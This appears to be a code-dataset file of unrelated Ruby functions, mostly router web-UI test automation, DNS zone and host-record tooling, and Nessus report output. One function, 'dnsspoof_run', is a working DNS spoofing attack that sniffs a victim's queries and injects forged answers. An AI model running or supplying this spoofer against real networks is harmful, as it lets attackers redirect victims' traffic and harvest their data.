here\n\t\t\t\tself.msg(rule_name,:error,'Wildcard','Did NOT find the value in \\'Wildcard\\'.')\n\t\t\n\t \t end # End of case wildcard\n\n\t\tend # End of if wildcard\n\n\t\t# Set backup mx to 'on' or 'off'\n\t\tif info.has_key?('Backup MX')\n \n\t \t# Enable backup mx\n\t \tcase info['Backup MX']\n\t \n\t \t\twhen 'on'\n\t \n\t\t\t\[email protected](:name,'dyndns_backup_mx').set\n\t\t\t\tself.msg(rule_name,:info,'backup mx',info['Backup MX']) \n\t \n\t \t\t# Disable backup mx\n\t \t\twhen 'off'\n\t\n\t\t\t\[email protected](:name,'dyndns_backup_mx').clear\t\n\t\t\t\tself.msg(rule_name,:info,'backup mx',info['Backup MX'])\n\t \t\telse\n\t\t\t\t# wrong here\n\t\t\t\tself.msg(rule_name,:error,'Backup MX','Did NOT find the value in \\'backup MX\\'.')\n\t\t\n\t \t end # End of case backup mx\n\n\t\t end # End of if backup Mx\n\n\t\t# Set offline to 'on' or 'off'\n\t\tif info.has_key?('Backup MX')\n \n\t \t# Enable backup mx\n\t \tcase info['Offline']\n\t \n\t \t\twhen 'on'\n\t \n\t\t\t\[email protected](:name,'dyndns_offline').set\n\t\t\t\tself.msg(rule_name,:info,'offline',info['Offline']) \n\t \n\t \t\t# Disable offline\n\t \t\twhen 'off'\n\t\n\t\t\t\[email protected](:name,'dyndns_offline').clear\t\n\t\t\t\tself.msg(rule_name,:info,'offline',info['Offline'])\n\t \t\telse\n\t\t\t\t# wrong here\n\t\t\t\tself.msg(rule_name,:error,'Offline','Did NOT find the value in \\'Offline\\'.')\n\t\t\n\t \t end # End of case offline\n\n\t\t end # End of if offline\n\n\t\t# Apply for the change;\n\t\[email protected](:text,'Apply').click\n if @ff.text.include?'Input Errors'\n # Error here.\n \n # Find the table.\n sTable = false\n @ff.tables.each do |t|\n\t\t\tif ( t.text.include? ':' and \n\t\t\t\t( not t.text.include? 'Input Errors') and\n\t\t\t\t( not t.text.include? 'Cancel') and\n\t\t\t\tt.row_count >= 1 )then\n\t\t\t\t\tsTable = t\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n \n\t\tif sTable == false\n # Wrong here\n\t\t\tself.msg(rule_name,:error,'System Settings','Did NOT find the target table.')\n\t\t\treturn\n\t\tend\n \n\t\tsTable.each do |row|\n \n\t\t\tif row[1] == \"\" or row[2] == nil\n\t\t\tnext\n\t\t\tend\n \n\t\t\tself.msg(rule_name,:error,row[1],row[2])\n \n\t\tend\n \n\t\t# Click the \"cancel\"\n\t\[email protected](:text,'Cancel').click\n \n\t\treturn\n \n end \n\t\t# Jump out the \"Input Errors\"?\n\t\tif @ff.text.include?'Input Errors' then\n\n\t\t\[email protected](:text,'Cancel').click\n \t \t\tself.msg(rule_name,:error,'Dynamic_DNS','Input content may not correct.')\n\t \t\treturn\n\t\telse\n\t \t\tself.msg(rule_name,:info,'Dynamic DNS','SUCCESS')\n\t\n\t\tend # End of case\n\n\n\t # Add Dynamic DNS entry ok.\n\t #\n\t # close the page\n\t #@ff.link(:text,'Close').click\n\t# ##########################\t\n \t# Case three: add multi record;\n \t# ##########################\n \twhen 'multihost'\n\t\t\n\t if info.has_key?('Loop Number')\n\t\t\t\n\t for i in 1..info['Loop Number'].to_i\t\n\t\t\n\t\t# Delete the Entry as same,'Remove')\n \t\t#if @ff.text.include? info['Host Name'] and info['Host Name'] != \" \" then\n\t \t#\tstr_href = @ff.link(:text,info['Host Name']).href\n\t\t#\tstr_href.gsub!('edit','remove')\n\t\t#\[email protected](:href,str_href).click\n\t\t#end # End of if\t\n\n\t\t# Add an new Dynamic DNS Entry;\n\t \[email protected](:text,'New Dynamic DNS Entry').click\n\t \tself.msg(rule_name,:info,'Add Dynamic DNS Entry','CLICKED')\n\n\t \t# Fill in the \"Host Name\"\n\t \tif info.has_key?('Host Name') \n\t \n\t \[email protected]_field(:name,'ddns_host').value = info['Host Name'] + i.to_s\n\t \tself.msg(rule_name,:info,'Host Name',info['Host Name'] + i.to_s)\n\t \telse\n\t \tself.msg(rule_name,:error,'Host Name','Con NOT find the value in \\'Host Name\\'.')\n\n\t \tend # End of if\n\n\t \t# Select list in the \"Connection\"\n\t \tif info.has_key?('Connection')\n\t\n\t case info['Connection']\n\t \n\t \twhen 'WAN Ethernet'\n\n\t\t \t\t# Set connection is 'Broadband Connection (Ethernet)'\n\t \t\[email protected]_list(:name,'ddns_device').select(\"WAN Ethernet\")\n\t \t\tself.msg(rule_name,:info,'Connection',info['Connection'])\n\t\t\twhen 'Broadband Connection (Ethernet)'\t \t\n\n\t\t \t\t# Set connection is 'Broadband Connection (Ethernet)'\n\t \t\[email protected]_list(:name,'ddns_device').select(\"Broadband Connection (Ethernet)\")\n\t \t\tself.msg(rule_name,:info,'Connection',info['Connection'])\n\n\t \twhen 'Broadband Connection (Coax)'\n\n\t \t\t# Set connection is 'Broadband Connection (Coax)'\n\t \t\[email protected]_list(:name,'ddns_device').select(\"Broadband Connection (Coax)\")\n\t \t\tself.msg(rule_name,:info,'Connection',info['Connection'])\n\n\t \twhen 'WAN PPPoE'\n\n\t \t\t# Set connection is 'WAN PPPoE'\n\t \t\[email protected]_list(:name,'ddns_device').select(\"WAN PPPoE\")\n\t \t\tself.msg(rule_name,:info,'Connection',info['Connection'])\n\n\t \twhen 'WAN PPPoE 2'\n\n\t \t\t# Set connection is 'WAN PPPoE 2'\n\t \t\[email protected]_list(:name,'ddns_device').select(\"WAN PPPoE 2\")\n\t \t\tself.msg(rule_name,:info,'Connection',info['Connection'])\n\t else \n\n\t\t \t \t# Wrong\n\t\t \t \tself.msg(rule_name,:error,'connection','Did NOT find the value in \\'Connection\\'.')\n\t\t \t\t return\n\t \n\t \t \tend # End of case connection;\n\n\t \tend # End of if connection;\n\n\t \t# Select list in the \"provider\"\n\t \tif info.has_key?('Provider')\n\t\n\t \t case info['Provider']\n\t \n\t \t\twhen 'dyndns.org'\n\n\t\t\t\t# Set provider to 'dyndns.org'\n\t \t\t\[email protected]_list(:name,'ddns_provider').select(\"dyndns.org\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'no-ip.com'\n\n\t\t\t\t# Set provider to 'no-ip.com'\n\t \t\[email protected]_list(:name,'ddns_provider').select(\"no-ip.com\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'changeip.com'\n\n\t\t\t\t# Set provider to 'changeip.com '\n\t \t\[email protected]_list(:name,'ddns_provider').select(\"changeip.com \")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'tzo.com'\n\n\t\t\t\t# Set provider to 'tzo.com'\n\t \t\t\[email protected]_list(:name,'ddns_provider').select(\"tzo.com\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'ods.org'\n\n\t\t\t\t# Set provider to 'ods.org'\n\t \t\[email protected]_list(:name,'ddns_provider').select(\"ods.org\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'easydns.com'\n\n\t\t\t\t# Set provider to 'easydns.com'\n\t \t\t\[email protected]_list(:name,'ddns_provider').select(\"easydns.com\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'zoneedit.com'\n\n\t\t\t\t# Set provider to 'zoneedit.com'\n\t \t\[email protected]_list(:name,'ddns_provider').select(\"zoneedit.com\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\telse \n\t\t\t\t# Wrong\n\t\t\t\tself.msg(rule_name,:error,'connection','Did NOT find the value in \\'Provider\\'.')\n\t\t\t\treturn\n\t \n\t \t\tend # End of case provider;\n\n\t\tend # End of if provider;\n\n\t\tif info.has_key?('User Name') then\n\t \n\t \t\[email protected]_field(:name,'ddns_username').value = info['User Name']\n\t \t\tself.msg(rule_name,:info,'User Name',info['User Name'])\n\t\tend # end of if\n\n\t\tif info.has_key?('Password') then\n\t \t\[email protected]_field(:type,'password').set(info['Password'])\n\t \t\tself.msg(rule_name,:info,'Password',info['Password'])\n\t\tend # end of if\n\t\n\n\t\t# Select list in the \"Dynamic DNS System\"\n\t\tif info.has_key?('Dynamic DNS System')\n\t\n\t \t case info['Dynamic DNS System']\n\t \n\t \t\twhen 'Dynamic DNS'\n\n\t\t\t\t# Set 'Dynamic DNS'\n\t \t\[email protected]_list(:name,'ddns_system').select(\"Dynamic DNS\")\n\t \t\tself.msg(rule_name,:info,'Dynamic DNS System',info['Dynamic DNS System'])\n\t\n\t \t\twhen 'Static DNS'\n\n\t\t\t\t# Set 'Static DNS'\n\t \t\[email protected]_list(:name,'ddns_system').select(\"Static DNS\")\n\t \t\tself.msg(rule_name,:info,'Dynamic DNS System',info['Dynamic DNS System'])\n\n\t \t\twhen 'Custom DNS'\n\n\t\t\t\t# Set 'Custom DNS'\n\t \t\[email protected]_list(:name,'ddns_system').select(\"Custom DNS\")\n\t \t\tself.msg(rule_name,:info,'Dynamic DNS System',info['Dynamic DNS System'])\n\n \t \t\telse \n\n\t\t\t\t# Wrong\n\t\t\t\tself.msg(rule_name,:error,'Dynamic DNS System','Did NOT find the value in \\'Dynamic DNS System\\'.')\n\t\t\t\treturn\n\t \n\t \t\tend # End of case Dynamic DNS system;\n\n\t\tend # End of if Dynamic DNS system;\n\n\t\t# Set wildcard to 'on' or 'off'\n\t\tif info.has_key?('Wildcard')\n \n\t \t\t# Enable wildcard \n\t \t case info['Wildcard']\n\t \n\t \t\twhen 'on'\n\t \n\t\t\t\[email protected](:name,'dyndns_wildcard').set\n\t\t\t\tself.msg(rule_name,:info,'Wildcard',info['Wildcard']) \n\t \n\t \t\t# Disable wildcard\n\t \t\twhen 'off'\n\t\n\t\t\t\[email protected](:name,'dyndns_wildcard').clear\t\n\t\t\t\tself.msg(rule_name,:info,'Wildcard',info['Wildcard'])\n\t \t\telse\n\t\t\t\t# wrong here\n\t\t\t\tself.msg(rule_name,:error,'Wildcard','Did NOT find the value in \\'Wildcard\\'.')\n\t\t\n\t \t end # End of case wildcard\n\n\t\tend # End of if wildcard\n\n\t\t# Apply for the change;\n\t\[email protected](:text,'Apply').click\n\t \n\t\t# need to logout when multi-login \n\t\t#@ff.select_list(:name,'logout').select(\"Logout\")\n\t\t#self.msg(rule_name,:info,'Logout','Logout the page of DUT.')\n\t\t#@ff.link(:name,'logout').click\t\n\t\t#self.msg(rule_name,:info,'Logout','Logout the page of DUT.')\n\t\n\t\t# Jump out the \"Input Errors\"?\n\t\tif @ff.text.include?'Input Errors' then\n\n\t\t\[email protected](:text,'Cancel').click\n \t \t\tself.msg(rule_name,:error,'Dynamic_DNS','Input content may not correct.')\n\t \t\treturn\n\t\telse\n\t \t\tself.msg(rule_name,:info,'Dynamic DNS','SUCCESS')\n\t\n\t\tend # End of if\n\t\t\n\t\t \n\t end # End of loop;\n\n\t # Add Dynamic DNS entry ok.\n\t #\n\t # close the page\n\t @ff.link(:text,'Close').click\n\t end # End of case\n \t\n\t# ###########################\n \t# case four: update a record;\n \t# ###########################\n\twhen 'update'\n\n\t if @ff.text.include?info['Host Name'] then\n\n\t begin\n \t\[email protected](:href, 'javascript:mimic_button(\\'ddns_host_update: 0..\\', 1)').click\n\t\t\tself.msg(rule_name,:info,'update','Update the status of host name') \n \t\trescue\n\t\t\tself.msg(rule_name,:error,'update','Con NOT find the link of update ')\n \t\treturn\n \t\tend \n \n \t\t# Waiting for update\n \t\tsleep 10\n\n \t\t# To Click Refresh to see if the status has been changed\n \t\tbegin\n \t\[email protected](:text, \"Refresh\").click\n\t\t\tself.msg(rule_name,:info,'refresh','refrash the status of host name') \n \t\trescue\n \t\tself.msg(rule_name,:error,'refresh','Con NOT find the link of refresh ')\n \t\treturn\n \t\tend\n\n \t\tif @ff.text.match 'Updated' then\n \t\tself.msg(rule_name,:info,'status','The status of \\'hostname\\' is successful')\n \t\telse\n \t\tself.msg(rule_name,:error,'status','The status of \\'hostname\\' is fail ')\n \t\tend\n\n\t\t\t\n\t else\n\t\tself.msg(rule_name,:error,'Host Name','Con NOT find the value in \\'Host Name\\'.')\n\t end\n\t #################################\n\t ##read the dns server's status###\n\t #################################\n\twhen 'read the status'\n\t sTable = false\n\t @ff.tables.each do |t|\n\t\tif ( t.text.include? 'Host Name' and\n\t\t ( not t.text.include? 'Domain Name Server') and\n\t\t t.row_count > 1 )then\n\t\t sTable = t\n\t\t break\n\t\tend\n\t end\n\t if sTable == false\n # Wrong here\n\t\tself.msg(rule_name,:error,'read ddns status','Did NOT find the target table.')\n\t else\n\t\tsTable.each do |row|\n\t\t if ((not row.text.include? 'Host Name') and (not row.text.include? 'New Dynamic DNS Entry'))\n\t\t self.msg(rule_name,:info,row[1].to_s.gsub(':',''),row[2].to_s);\n\t\tend\n\t end\n\tend\n \n # Find the row\n \n\n\telse\n \t\tself.msg(rule_name,:error,'dns_server','Not right the operation to execute')\n \t\treturn\n \t\n\tend # End of case;\n\n end # End of operation;\n\t\n end", "def print_addresses\n puts \"Dirección\"\n addresses.each { |address| puts address.to_s('corta') }\n end", "def dns_host_name\n @dns_host_name ||= ::SimpleIDN.to_ascii(@host_name)\n end", "def index\n @dns = Dn.all\n end", "def compile_zone_file\n hosts_seen = {}\n f = $stdout\n f.puts ZONE_HEADER % {:domain => provider.domain, :ns => provider.domain, :contact => provider.contacts.default.first.sub('@','.')}\n max_width = manager.nodes.values.inject(0) {|max, node| [max, relative_hostname(node.domain.full).length].max }\n put_line = lambda do |host, line|\n host = '@' if host == ''\n f.puts(\"%-#{max_width}s %s\" % [host, line])\n end\n\n f.puts ORIGIN_HEADER\n # 'A' records for primary domain\n manager.nodes[:environment => '!local'].each_node do |node|\n if node.dns['aliases'] && node.dns.aliases.include?(provider.domain)\n put_line.call \"\", \"IN A #{node.ip_address}\"\n end\n end\n\n # NS records\n if provider['dns'] && provider.dns['nameservers']\n provider.dns.nameservers.each do |ns|\n put_line.call \"\", \"IN NS #{ns}.\"\n end\n end\n\n # all other records\n manager.environment_names.each do |env|\n next if env == 'local'\n nodes = manager.nodes[:environment => env]\n next unless nodes.any?\n f.puts ENV_HEADER % (env.nil? ? 'default' : env)\n nodes.each_node do |node|\n if node.dns.public\n hostname = relative_hostname(node.domain.full)\n put_line.call relative_hostname(node.domain.full), \"IN A #{node.ip_address}\"\n end\n if node.dns['aliases']\n node.dns.aliases.each do |host_alias|\n if host_alias != node.domain.full && host_alias != provider.domain\n put_line.call relative_hostname(host_alias), \"IN A #{node.ip_address}\"\n end\n end\n end\n if node.services.include? 'mx'\n put_line.call relative_hostname(node.domain.full_suffix), \"IN MX 10 #{relative_hostname(node.domain.full)}\"\n end\n end\n end\n end", "def ctx_groupby_dim_dom_print\n group_dim=ctx_groupby_dim\n group_dim.keys.each do |dimension|\n puts \" dimension :: \" + dimension\n group_dom=ctx_groupby_dom(dimension)\n group_dom.keys.each do |domain|\n puts \" \\t domain :: \" + domain\n group_dom[domain].each do |ctx|\n puts \" \\t\\t ctx :: \" + ctx.id\n end\n end\n end\n end", "def print_findings()\n\n # Print totals\n puts \"Total Findings: #{$findings.size}\"\n puts \"======================\"\n puts \"Log Messages: #{$logCount}\"\n puts \"Security Notes: #{$noteCount}\"\n puts \"Security Warnings: #{$warningCount}\"\n puts \"Security Holes: #{$holeCount}\"\n puts \"Other Findings: #{$miscCount}\"\n puts\n\n # Print each finding\n $findings.each do |key, value|\n print \"==> OID: \"\n\t puts key\n \n # If we are printing results with IP addresses\n if $noip == false then\n # Print out all IP addresses for each result\n puts \"Host(s) :\"\n\t value.each do |port, ips|\n puts\n puts port\n puts \"-------\"\n ips.each do |ip|\n puts ip\n end\n puts\n\t end\n end\n \n $descriptions[key].each do |desc, ports|\n puts\n puts \"******************Description************************\"\n puts desc\n puts\n if $noip == false then\n puts \"------------------IP Addresses-----------------------\"\n puts\n \n ports.each do |port, ips|\n puts\n puts port\n puts \"-------\"\n ips.each do |ip|\n puts ip\n end\n puts\n end\n puts\n end\n puts \"*****************************************************\"\n end\n\n # Seperator\n 2.times do puts end\n puts \"=============================================================\"\n 2.times do puts end\n end\n\nend", "def full_host_record(ip:)\n load_cnames\n \n @forward_host_record ||= {} # Global, as we want to do name lookups.\n return_record = []\n unless( (host_records = @infoblox.get_host_by_ip(ip_address: ip)).nil? )\n host_records.each do |hosts|\n hosts.each do |hn|\n # Assign an empty record, if we haven't seen this host before\n @forward_host_record[hn] ||= { hostname: hn, ip: '', aliases: [], cnames: [] }\n \n # Record the IP. There may be multiple IPs with one hostname.\n @forward_host_record[hn][:ip] = ip\n \n # The hostname might have CNAMES point to it\n unless @reverse_cnames[hn].nil?\n @reverse_cnames[hn].each do |cn| \n @forward_host_record[hn][:cnames] << cn \n end\n end\n \n # The hostname may have alternate hostname A records, stored in IPAM as ALIASES\n @infoblox.get_alias(hostname: hn) do |a| \n short_alias = a.split('.',2)[0]\n @forward_host_record[hn][:aliases] << short_alias\n \n # The ALIASes might have CNAME records pointing to it\n unless @reverse_cnames[a].nil?\n # Record the ALIAS CNAMES against the parent hostname.\n @reverse_cnames[a].each do |cn| \n @forward_host_record[hn][:cnames] << cn \n end\n end\n end\n return_record << @forward_host_record[hn]\n \n # Add forward lookup entries for each ALIAS\n host_domain = hn.split('.',2)[1]\n @forward_host_record[hn][:aliases].each do |a|\n @forward_host_record[\"#{a}.#{host_domain}\"] = @forward_host_record[hn]\n end\n \n # Add forward lookup entries for each CNAME\n @forward_host_record[hn][:cnames].each do |cn|\n @forward_host_record[cn] = @forward_host_record[hn]\n end\n \n end\n end\n end\n return return_record\nend", "def print_host(host)\n\t\tputs \"Local host store entry for #{host}\"\n\t\thost.strip!\n\t\traise \"Invalid input: #{host}\" unless is_fqdn?(host)\n\t\tif @known_hosts.key?(host)\n\t\t\tvalue=@known_hosts[host]\n\t\t\tputs \"#{host}\\t#{value}\"\n\t\telse\n\t\t\tputs \"Unknown host in the local store: #{host}\"\n\t\tend\n\trescue => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\"\n\tend", "def format_hosts\n all_hosts(@config).inject('') do |str, (address, aliases)|\n str << \"#{address} #{aliases.join(' ')}\\n\"\n end\n end", "def format_hosts\n all_hosts(@config).inject('') do |str, (address, aliases)|\n str << \"#{address} #{aliases.join(' ')}\\n\"\n end\n end", "def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n require 'pp'\n p directors_database\nend", "def usage()\n puts \"ruby DNS.rb domain-host lookup-host1..lookup-hostN\"\n puts \"e.g. ruby DNS.rb 192.168.0.1 news.bbc.co.uk\"\n puts \"e.g. ruby DNS.rb 192.168.0.1 www.facebook.com www.twitter.com www.instagram.com\"\n exit(0)\nend", "def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n nds = directors_database()\n pp(nds)\nend", "def format_hosts\n all_hosts.inject('') do |str, (address, aliases)|\n str << \"#{address} #{aliases.join(' ')}\\n\"\n end\n end", "def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n require \"pp\"\n pp directors_database\nend", "def dns_server(rule_name, info)\n\n # Get to the advanced page.\n self.goto_advanced(rule_name, info)\n \n # Get to the \"DNS Server\" page.\n begin\n @ff.link(:text, 'DNS Server').click\n self.msg(rule_name, :info, 'DNS Server', 'Reached page \\'DNS Server\\'.')\n rescue\n self.msg(rule_name, :error, 'DNS Server', 'Did not reach \\'DNS Server\\' page')\n return\n end\n \n # Check the key.\n if ( info.has_key?('section') &&\n info.has_key?('subsection') ) then\n # Right,go on.\n else\n self.msg(rule_name,:error,'dns_server','Some key NOT found.')\n return\n end \n \n # Add DNS Server?\n if ( info.has_key?('Host Name') &&\n info.has_key?('IP Address') ) then\n \n # Right,go on.\n \n if @ff.text.include? info['Host Name'] then\n\t str_href = @ff.link(:text,info['Host Name']).href\n\t str_href.gsub!(\"edit\",\"remove\")\n\t @ff.link(:href,str_href).click\n end\n \n\n # Add a DNS server here.\n @ff.link(:text,'Add DNS Entry').click\n self.msg(rule_name,:info,'Add DNS Entry','CLICKED')\n \n # Fill in the \"Host Name\"\n @ff.text_field(:name,'hostname').set(info['Host Name'])\n self.msg(rule_name,:info,'Host Name',info['Host Name'])\n \n # Fill in the \"IP Address\"\n octets = info['IP Address'].split('.')\n @ff.text_field(:name, 'ip0').set(octets[0])\n @ff.text_field(:name, 'ip1').set(octets[1])\n @ff.text_field(:name, 'ip2').set(octets[2])\n @ff.text_field(:name, 'ip3').set(octets[3])\n self.msg(rule_name,:info,'IP Address',info['IP Address'])\n \n # Apply for the change\n @ff.link(:text,'Apply').click\n \n # Jump out the \"Input Errors\"?\n if @ff.text.include?'Input Errors' then\n @ff.link(:text,'Cancel').click\n @ff.link(:text,'Close').click\n self.msg(rule_name,:error,'dns_server','Input content may not correct.')\n return\n else\n self.msg(rule_name,:info,'DNS Server','SUCCESS')\n end\n \n # Add DNS entry OK.\n \n # Close the page\n @ff.link(:text,'Close').click\n \n else\n self.msg(rule_name,:error,'dns_server','Some key NOT found.')\n return\n end \n \n end", "def show()\n printed = \"IPv4 Tree\\n---------\\n\"\n list4 = dump_children(@v4_root)\n list6 = dump_children(@v6_root)\n\n list4.each do |entry|\n cidr = entry[:CIDR]\n depth = entry[:Depth]\n\n if (depth == 0)\n indent = \"\"\n else\n indent = \" \" * (depth*3)\n end\n\n printed << \"#{indent}#{cidr.desc}\\n\"\n end\n\n printed << \"\\n\\nIPv6 Tree\\n---------\\n\" if (list6.length != 0)\n\n list6.each do |entry|\n cidr = entry[:CIDR]\n depth = entry[:Depth]\n\n if (depth == 0)\n indent = \"\"\n else\n indent = \" \" * (depth*3)\n end\n\n printed << \"#{indent}#{cidr.desc(:Short => true)}\\n\"\n end\n\n return(printed)\n end", "def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n #nil\n require 'pp'\n pp directors_database\n puts directors_database\nend", "def index\n @dns_zones = DnsZone.all\n end", "def required_dns_records\n all_ingress_hostnames + SPECIAL_A_RECORD_NAMES\nend", "def show\n puts '* database name, @dbname = ' + @dbname\n puts '* which belongs to database set name, @dsname = ' + @ds.dsname\n puts '* Now calling all entity sets to display themselves.....'\n if @hes\n @hes.each_value{|x| x.show}\n else\n puts 'No entity set to show'\n end # if\n \n if @hrs.size > 0\n puts '***** Now calling all relationship sets to display themselves.....'\n @hrs.each_value{|y| y.show}\n else\n puts 'RELATIONSHIP SETS? No relationship set exists in this database.'\n end # if\n end", "def pretty_print_nds(nds)\n d= directors_database\n #binding.pry\n pp d\n\nend", "def is_dc?\n is_dc_srv = false\n serviceskey = 'HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services'\n if registry_enumkeys(serviceskey).include?('NTDS')\n if registry_enumkeys(serviceskey + '\\\\NTDS').include?('Parameters')\n print_good(\"\\tThis host is a Domain Controller!\")\n is_dc_srv = true\n end\n end\n return is_dc_srv\n end", "def is_dc?\n\t\tis_dc_srv = false\n\t\tserviceskey = \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\"\n\t\tif registry_enumkeys(serviceskey).include?(\"NTDS\")\n\t\t\tif registry_enumkeys(serviceskey + \"\\\\NTDS\").include?(\"Parameters\")\n\t\t\t\tprint_good(\"\\tThis host is a Domain Controller!\")\n\t\t\t\tis_dc_srv = true\n\t\t\tend\n\t\tend\n\t\treturn is_dc_srv\n\tend", "def dnsspoof_run\n puts \"Waiting for DNS Packets............:\"\n iface = @interface\n capture_session = PacketFu::Capture.new(:iface => iface,\n :start => true,\n :promisc => true,\n :filter => \"udp and port 53 and src #{@addr}\")\n #Capture all packets from port 53 and from the source defined earlier\n capture_session.stream.each do |p|\n pkt = Packet.parse(p)\n dnsCount = pkt.payload[2].to_s+pkt.payload[3].to_s\n if dnsCount=='10'\n @domainName = getDomainName(pkt.payload[12..-1])\n puts \"DNS Request for \" + @domainName\n \n #Split and Generate the bytes for the IP we defined earlier\n ipToSpoof = @spoofIP.split('.')\n spoofIPHex = [ipToSpoof[0].to_i, ipToSpoof[1].to_i, ipToSpoof[2].to_i, ipToSpoof[3].to_i].pack('c*')\n\n #create query response (raw packets)\n udp_pkt = UDPPacket.new(:config => @myInfo)\n udp_pkt.udp_src = pkt.udp_dst\n udp_pkt.udp_dst = pkt.udp_src\n udp_pkt.eth_daddr = @victimMac\n udp_pkt.ip_daddr = @addr\n udp_pkt.ip_saddr = pkt.ip_daddr\n \n #Transaction ID (must be same for request and response)\n udp_pkt.payload = pkt.payload[0,2]\n \n #DNS header before Domain Name\n udp_pkt.payload += \"\\x81\"+\"\\x80\"+\"\\x00\"+\"\\x01\"+\"\\x00\"+\"\\x01\"\n udp_pkt.payload += \"\\x00\"+\"\\x00\"+\"\\x00\"+\"\\x00\"\n \n #split the domaine name by the \".\" ex. www.google.com\n @domainName.split('.').each do |domainString|\n #put length before each part of the domain\n udp_pkt.payload += domainString.length.chr\n #section of domain\n udp_pkt.payload += domainString\n end\n \n #DNS header after domain name\n udp_pkt.payload += \"\\x00\"+\"\\x00\"+\"\\x01\"+\"\\x00\"+\"\\x01\"+\"\\xc0\"\n udp_pkt.payload += \"\\x0c\"+\"\\x00\"+\"\\x01\"+\"\\x00\"+\"\\x01\"\n #DNS TTL and Length\n udp_pkt.payload += \"\\x00\"+\"\\x00\"+\"\\x02\"+\"\\x56\"+\"\\x00\"+\"\\x04\"\n #our ip to send to\n udp_pkt.payload += spoofIPHex\n #recalculation of fields\n udp_pkt.recalc\n #send to interface\n udp_pkt.to_w(@interface);\n end\n end\nend", "def dumpDpms()\r\n 79.times {print \"=\"}\r\n puts\r\n puts \"DPM DUMP\".center(80)\r\n 79.times {print \"=\"}\r\n puts\r\n\r\n if(@dpms.length > 0)\r\n\r\n dpms = @dpms.sort\r\n dpms.each do |key, dpm|\r\n puts \"#{dpm.name}\\t(#{dpm.alias})\" unless dpm.varType == \"DSM\"\r\n end\r\n\r\n else\r\n puts \"No DPM variables to dump.\"\r\n end\r\n\r\n puts \"\"\r\n\r\n 79.times {print \"=\"}\r\n puts\r\n puts \"DSM DUMP\".center(80)\r\n 79.times {print \"=\"}\r\n puts\r\n\r\n if(@dpms.length > 0)\r\n dpms = @dpms.sort\r\n dpms.each do |key, dpm|\r\n puts \"#{dpm.name}\\t(#{dpm.alias})\" if dpm.varType == \"DSM\"\r\n end\r\n\r\n else\r\n puts \"No DSM variables to dump.\"\r\n end\r\n\r\n puts \"\"\r\n\r\n end", "def print_list\n if @tenant.first_name && @tenant.last_name\n return \"#{@address[:street_number]} #{@address[:street_name]}, #{@address[:suburb]}. #{@rent}/pw #{@status}. Tenant: #{@tenant.first_name} #{@tenant.last_name}. Landlord: #{@landlord.first_name} #{@landlord.last_name}\"\n else \n return \"#{@address[:street_number]} #{@address[:street_name]}, #{@address[:suburb]}. #{@rent}/pw #{@status}. Tenant: Not available. Landlord: #{@landlord.first_name} #{@landlord.last_name}\"\n end\n end", "def print_hosts\n\t\[email protected] do |id,values|\n\t\t\tFile.open(@options[:output] + \"/host_\" + id.to_s + \".html\", 'w') do |f|\n\n\t\t\t\thtml_header(f,values[:ip])\n\n\t\t\t\tif values[:total_excl_info] == 0\n\t\t\t\t\tpie_js(f,\"pie_graph\",\"Criticality Breakdown\",\"Criticality Breakdown\",[['Informational ONLY',values[:info].to_i,'blue']])\n\t\t\t\telse\n\t\t\t\t\tpie_data = []\n\t\t\t\t\tpie_data << ['Info',values[:info].to_i,'blue'] if @options[:severity] <= 0 and values[:info].to_i >= 0\n\t\t\t\t\tpie_data << ['Low',values[:low].to_i,'green'] if @options[:severity] <= 1 and values[:low].to_i > 0\n\t\t\t\t\tpie_data << ['Medium',values[:med].to_i,'orange'] if @options[:severity] <= 2 and values[:med].to_i > 0\n\t\t\t\t\tpie_data << ['High',values[:high].to_i,'red'] if @options[:severity] <= 3 and values[:high].to_i > 0\n\t\t\t\t\tpie_data << ['Critical',values[:crit].to_i,'purple'] if @options[:severity] <= 4 and values[:crit].to_i > 0\n\t\t\t\t\tpie_js(f,\"pie_graph\",\"Criticality Breakdown\",\"Criticality Breakdown\",pie_data,\"document.location.href = '#' + event.point.name;\")\n\t\t\t\tend\n\n\t\t\t\tclose_html_header(f)\n\n\t\t\t\tbody = '<a href=\"index.html\">Home</a><br /><div id=\"host\" style=\"font-family: Arial, Helvetica, sans-serif\"><div id=\"overview\">Hostname: ' + values[:hostname] + '<br />IP: ' + values[:ip] + '<br />OS: ' + values[:os] + '<br /></div>'\n\t\t\t\tbody += '<div id=\"graphs\"><h2>Overview</h2>'\n\t\t\t\tbody += '<div id=\"pie_graph\" style=\"min-width: 400px; height: 400px; margin: 0 auto\"></div>'\n\t\t\t\tbody += '</div>'\n\n\t\t\t\tbody += '<div id=\"vulns\"><h2>Vulnerabilities</h2>'\n\n\n\t\t\t\tif @options[:severity] <= 4 and values[:crit].to_i > 0\n\t\t\t\t\tbody += '<div id=\"critical\"><a name=\"Critical\"></a><h3>Critical</h3>'\n\n\t\t\t\t\tbody += '<table id=\"critical_table\" class=\"display\"><thead><tr><th>Nessus ID</th><th>Name</th><th>Synopsis</th><th>Result</th><th>Family</th><th>Port</th></tr></thead><tbody>'\n\t\t\t\t\[email protected]_by{|k,v| v[:port].to_s}.each do |vuln_id,vuln_data|\n\t\t\t\t\t\tvuln_data[:ports].each {|k,v|\n\n\t\t\t\t\t\t\tv[:hosts].each do |h,v2|\n\t\t\t\t\t\t\t\tif h == id and vuln_data[:severity] == 4\n\t\t\t\t\t\t\t\t\tbody += '<tr><td><a href=\"vuln_' + vuln_id.to_s + '.html\">' + vuln_id.to_s + '</a></td><td>' + vuln_data[:plugin_name] + '</td><td>' + vuln_data[:synopsis] + '</td><td>' + 